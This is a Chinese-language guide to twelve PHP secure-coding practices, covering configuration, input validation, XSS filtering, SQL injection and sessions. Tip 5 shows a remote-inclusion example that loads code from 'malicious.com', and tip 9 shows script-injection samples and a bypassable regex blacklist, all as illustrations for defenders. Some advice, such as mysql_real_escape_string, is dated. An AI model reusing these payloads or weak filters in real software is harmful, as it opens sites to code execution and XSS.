12個PHP安全開發技巧
1. 設定環境變數php.ini
- 設定 register_globals = off : 主要是避免 PHP 的變數內容被任意修改或是藉由其他輸入被修改, 產生不預期的結果
- 設定 session.use_only_cookies= 1: 這樣設定的目的主要避免 session ID可以任意從 $_GET取得
- 設定 session.cookie_httponly =1: 這個設定的目的主要在於防止 cookie可以被 JavaScript 讀取, 避免讓黑客透過 XSS 的方式竊取 Cookie
- 設定 display_errors = 0 主要目的是避免顯示過多的Web服務錯誤訊息讓黑客知道服務器內部邏輯的運作方式
[pastacode lang=”markup” manual=”register_globals%20%3D%20off%3B%0Asession.use_only_cookies%20%3D%201%3B%0Asession.cookie_httponly%20%3D%201%3B%0Adisplay_errors%20%3D%200%3B” message=”” highlight=”” provider=”manual”/]
2. 所有輸入參數都必須驗證
PHP 中常見的使用者輸入變數如下:
- $_GET
- $_POST
- $_SERVER
- $_FILES
- $_REQUEST
- $_ENV
- $_SESSION
- $_COOKIE
因此所有的資料輸入都必須經過字元檢查過濾, 例如特殊字元檢查, url合法字元檢查, EMAIL 合法字元檢查等
PHP 提供相關檢查的機制參考:
http://php.net/manual/en/filter.filters.validate.php
http://php.net/manual/en/filter.filters.sanitize.php
3. 避免使用EVAL() exec() shell_exec()
使用這些函數容易導致命令注入的攻擊
4. 避免使用Cookie儲存敏感性資訊
Cookie 由於是儲存在用戶端瀏覽器, 因此如果用來儲存個人資訊容易導致資料外洩
Cookie 保持使用在暫時性驗證使用者的session ID
5. 不要直接使用使用者輸入參數當為Path
這種情況特別在於使用 include() 與require()的情況下, 需要定義路徑時
舉例來說, 當 URL include 為開放性的時候, 黑客可能會輸入一個惡意網址
[pastacode lang=”markup” manual=”%3C%3Fphp%0A%0A%24user_input%20%3D%20’http%3A%2F%2Fwww.malicious.com%2Fevil.php’%3B%0Arequire(%24user_input)%3B%0A%3F%3E” message=”” highlight=”” provider=”manual”/]
另外, PHP.ini建議設定
[pastacode lang=”markup” manual=”allow_url_fopen%20%20%3D%200%0A%0Aallow_url_include%20%3D%200%20″ message=”” highlight=”” provider=”manual”/]
http://php.net/manual/en/filesystem.configuration.php
6. 區分敏感性數據儲存路徑
一般來說網站公開的瀏覽資訊會被存放在 public_html, httpdocs, www 等路徑
但是對於敏感性資訊, 可另外儲存在私有路徑下 /var/usr/includes/
7. isset() vs empty() vs is_null()
isset() Determine if a variable is set and is not NULL It returns true only when the variable is not null. empty() Determine whether a variable is empty it will return true if the variable is an empty string, false, array(), NULL, “0?, 0, and an unset variable. is_null() Finds whether a variable is NULL it returns true only when the variable is null 多半的情況下, 我們會使用 isset()來判斷參數的輸入是否有值而且不是 null.
特別要注意的是 isset() 對於空白字元的參數輸入, 也是視為有效的輸入字元. 可以另外參考下列方式驗證輸入
- if ( $var )
- if ( !empty( $var ) )
- if ( $var != ” )
- if ( strlen( $var) != 0 )
- If ( isset( $var ) ) 無法驗證空白字元
- if ( is_string( $var ) ) 僅用在字串, 不適用於數字
8. SANITIZE 特殊字元
資料的輸入都並需經過 Validate 與 Sanitize 的方式處理
例如對於 HTML, URL, Email 等, 進行非法字元的移除與編碼的處理
http://www.php.net/manual/en/filter.filters.sanitize.php
9. 移除 HTML Tag
為避免網頁被任意竄改或是XSS注入, 可以利用PHP提供的函數 STRIP_TAGS()將輸入參數中的Tag移除
例如: <script>location.href=\‘MaliciousSite\‘;</script>
經過移除之後變成: location.href=\‘MaliciousSite\‘;
[pastacode lang=”markup” manual=”%3C%3Fphp%0A%24unsafeData%20%3D%20’%3Cscript%3EMalicious.href%3D%5C’mysite%5C’%3B%3C%2Fscript%3E’%3B%0A%24afterStrip%20%3D%20strip_tags(%24unsafeData)%3B%0Aecho%20%24afterStrip%3B%0A%2F%2F%20the%20result%20of%20echo%3A%20%20Malicious.href%3D%5C’mysite%5C’%3B%0A%3F%3E” message=”” highlight=”” provider=”manual”/]
另外使用 HTMLENTITIES()將所有的 <與>進行編碼
[pastacode lang=”markup” manual=”%3C%3Fphp%0A%24unsafeData%20%3D%20’%3Cscript%3Elocation.href%3D%5C’mysite%5C’%3B%3C%2Fscript%3E’%3B%0A%24new%20%3D%20htmlentities(%24unsafeData)%3B%0Aecho%20%24new%3B%0A%2F%2F%20echos%20out%0A%2F%2F%20%26lt%3Bscript%26gt%3Blocation.href%3D’mysite’%3B%26lt%3B%2Fscript%26gt%3B%0A%3F%3E” message=”” highlight=”” provider=”manual”/]
使用字元黑名單也是一種方式, 但是這種方式存在許多未知風險, 建議以 strip_tags()與HTMLEntities方式為主, 黑名單方式為輔
使用preg_replace 的方式一個缺點是大小寫, 黑客可以很容易的透過大小寫的方式就繞過檢查
[pastacode lang=”markup” manual=”%3C%3Fphp%0A%24blacklist%20%3D%20array(‘%2F%3C%5C%2F%3Fscript%5B%5E%3E%5D*%3E%2F’)%3B%0A%24unsafeData%20%3D%20’%3Cscript%3Elocation.href%3D%5C’mysite%5C’%3B%3C%2Fscript%3E’%3B%0A%24new%20%3D%20preg_replace(%24blacklist%2C%20”%2C%20%24unsafeData)%3B%0Aecho%20%24new%3B%0A%2F%2F%20echos%20out%20%22location.href%3D’mysite’%3B%22%0A%3F%3E” message=”” highlight=”” provider=”manual”/]
10. SQL injection
對於Mysql 的處理, 使用 mysql_real_escape_string()
另外建議使用PHP 提供 PDO Data Object的方式處理資料庫資料,
http://www.php.net/manual/en/book.pdo.php
11.數據加密 crypt()
使用PHP 加密處理時, 必須注意
- 使用強加密算法
- 使用 Salt進行 Hash
12. Session 管理
SessionID避免不斷的重複使用之外, 當使用者狀態有更改重新登入的時候, 使用session_regenerate_id()產生新的 session ID,
[pastacode lang=”markup” manual=”%3C%3Fphp%0A%2F%2F%20regenerate%20session%20on%20successful%20login%0Aif%20(%20!empty(%20%24_POST%5B’password’%5D%20)%20%26%26%20%24_POST%5B’password’%5D%20%3D%3D%3D%20%24password%20)%20%7B%0A%2F%2F%20if%20authenticated%2C%20generate%20a%20new%20random%20session%20ID%0Asession_regenerate_id()%3B%0A%2F%2F%20set%20session%20to%20authenticated%0A%24_SESSION%5B’auth’%5D%20%3D%20TRUE%3B%0A%2F%2F%20redirect%20to%20make%20the%20new%20session%20ID%20live%0Aheader(%20’Location%3A%20’%20.%20%24_SERVER%5B’SCRIPT_NAME’%5D%20)%3B%0A%7D%0A%2F%2F%20take%20some%20action%0A%3F%3E” message=”” highlight=”” provider=”manual”/]
Session超時管理, PHP 對於 Session會話的超時定義有兩種方式
session.gc_maxlifetime |
session.cookie_lifetime |
預設值default 1440 seconds | 預設值 0 |
當使用者登入之後, 沒有動作
1440秒之後該會話就會自動失效 |
0:表適當瀏覽器關閉時就會失效
這個設定值為絕對值, 不管使用者是否有動作 |
其他參考 PHP Security
http://php.net/manual/en/security.php